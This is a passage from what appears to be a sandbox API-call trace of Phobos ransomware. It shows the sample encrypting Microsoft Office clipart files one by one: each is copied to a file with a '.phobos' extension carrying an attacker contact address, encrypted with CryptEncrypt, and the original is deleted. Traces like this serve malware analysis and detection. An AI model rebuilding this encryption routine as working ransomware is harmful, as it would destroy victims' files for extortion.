0x300 [0056.981] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.981] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.982] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0056.982] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.982] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x13a6, lpOverlapped=0x0) returned 1 [0057.144] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13b0, dwBufLen=0x13b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x13b0) returned 1 [0057.144] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x13b0, lpOverlapped=0x0) returned 1 [0057.145] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc750) returned 1 [0057.145] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.145] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.145] CryptDestroyKey (hKey=0x10dc750) returned 1 [0057.145] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.145] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0057.145] CloseHandle (hObject=0x300) returned 1 [0057.145] CloseHandle (hObject=0x328) returned 1 [0057.146] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0057.147] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.147] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1146) returned 1 [0057.147] CloseHandle (hObject=0x328) returned 1 [0057.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0057.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.148] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.148] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.148] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc750) returned 1 [0057.148] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.148] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x47a, lpOverlapped=0x0) returned 1 [0057.162] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x480, dwBufLen=0x480 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x480) returned 1 [0057.162] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x480, lpOverlapped=0x0) returned 1 [0057.163] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcad0) returned 1 [0057.163] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.163] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.163] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0057.163] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.163] CryptDestroyKey (hKey=0x10dc750) returned 1 [0057.163] CloseHandle (hObject=0x328) returned 1 [0057.163] CloseHandle (hObject=0x300) returned 1 [0057.164] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0057.165] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.166] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7583) returned 1 [0057.166] CloseHandle (hObject=0x300) returned 1 [0057.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0057.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.166] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.166] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.167] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcad0) returned 1 [0057.167] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.167] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1d9f, lpOverlapped=0x0) returned 1 [0057.232] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1da0) returned 1 [0057.232] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1da0, lpOverlapped=0x0) returned 1 [0057.233] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0057.233] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.233] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.233] CryptDestroyKey (hKey=0x10dc610) returned 1 [0057.233] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.233] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0057.233] CloseHandle (hObject=0x300) returned 1 [0057.233] CloseHandle (hObject=0x328) returned 1 [0057.234] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0057.235] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.235] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=6984) returned 1 [0057.235] CloseHandle (hObject=0x328) returned 1 [0057.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0057.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.235] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.235] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.235] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc690) returned 1 [0057.235] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.235] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1b48, lpOverlapped=0x0) returned 1 [0057.245] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1b50, dwBufLen=0x1b50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1b50) returned 1 [0057.245] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1b50, lpOverlapped=0x0) returned 1 [0057.246] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcad0) returned 1 [0057.246] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.246] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.246] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0057.246] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.246] CryptDestroyKey (hKey=0x10dc690) returned 1 [0057.246] CloseHandle (hObject=0x328) returned 1 [0057.247] CloseHandle (hObject=0x300) returned 1 [0057.247] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0057.248] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.248] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=13254) returned 1 [0057.248] CloseHandle (hObject=0x300) returned 1 [0057.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0057.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.249] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.249] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.249] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc610) returned 1 [0057.249] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.249] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x33c6, lpOverlapped=0x0) returned 1 [0057.267] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x33d0, dwBufLen=0x33d0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x33d0) returned 1 [0057.267] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x33d0, lpOverlapped=0x0) returned 1 [0057.268] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0057.268] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.269] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.269] CryptDestroyKey (hKey=0x10dc790) returned 1 [0057.269] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.269] CryptDestroyKey (hKey=0x10dc610) returned 1 [0057.269] CloseHandle (hObject=0x300) returned 1 [0057.269] CloseHandle (hObject=0x328) returned 1 [0057.270] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0057.271] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.271] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4894) returned 1 [0057.271] CloseHandle (hObject=0x328) returned 1 [0057.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0057.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.272] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.272] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0057.272] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcad0) returned 1 [0057.272] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.272] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x131e, lpOverlapped=0x0) returned 1 [0057.298] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1320, dwBufLen=0x1320 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1320) returned 1 [0057.298] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1320, lpOverlapped=0x0) returned 1 [0057.299] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0057.299] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.299] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.299] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0057.299] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.299] CryptDestroyKey 